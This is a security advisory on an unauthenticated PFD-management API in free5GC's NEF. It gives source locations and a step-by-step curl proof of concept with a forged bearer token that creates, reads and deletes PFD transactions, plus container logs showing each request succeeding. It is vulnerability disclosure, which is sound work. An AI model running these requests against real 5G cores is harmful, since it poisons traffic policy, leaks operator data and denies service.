GHSA-5f62-53r8-qrqf free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions

• Go github.com/free5gc/nef: <= 1.2.3 (no fix yet)

Summary free5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. Details Validated against the NEF container in the official Docker compose lab. • Source repo tag: `v4.2.1` • Running Docker image: `free5gc/nef:v4.2.0` • Runtime NEF commit: `5ce35eab` • Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): • Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52` • Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13` • Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70` • POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63` • GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189` • DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328` • NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` • Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also accepted with forged token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions ``` 2. CREATE PFD transaction with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions ``` 3. READ -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 4. DELETE -> `204 No Content`: ``` curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 5. READ again -> `404 PFD transaction not found`, confirming state was actually deleted. NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: • Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. • Read existing PFD transactions, leaking AF-supplied policy data. • Delete PFD transactions, denying service to legitimately provisioned application detection rules. The PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc <=v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23